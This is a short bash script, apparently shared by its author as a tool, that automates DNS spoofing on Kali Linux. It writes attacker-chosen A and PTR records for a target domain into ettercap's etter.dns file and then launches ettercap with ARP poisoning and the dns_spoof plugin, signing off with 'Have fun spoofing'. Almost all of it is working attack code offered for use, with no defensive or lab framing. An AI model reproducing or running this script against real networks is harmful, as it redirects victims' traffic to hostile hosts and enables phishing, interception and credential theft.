DNS Spoofing Script for Kali Linux

Spoof

#!/bin/bash
# Script made by Aaron Vigal. http://www.aaronvigal.com

read -p "What is the base URL? " url
read -p "What is the IP Addressed to be spoofed to? " address

sed -i '59s/.*/www.'$url'    A      '$address'/' /etc/ettercap/etter.dns
sed -i '60s/.*/*.'$url'      A      '$address'/' /etc/ettercap/etter.dns
sed -i '61s/.*/www.'$url'    PTR    '$address'/' /etc/ettercap/etter.dns

echo "";echo "3 Lines successfully changed in /etc/ettercap/etter.dns";echo ""

echo "Are you ready to fire up Ettercap? "
select yn in "Yes" "No"; do
	case $yn in
		Yes ) echo "Thanks for using my tool! Have fun spoofing ;) ";ettercap -Tqi eth0 -M arp -P dns_spoof;exit;;
		No ) echo "Okay! Goodbye!"; exit;;
	esac
done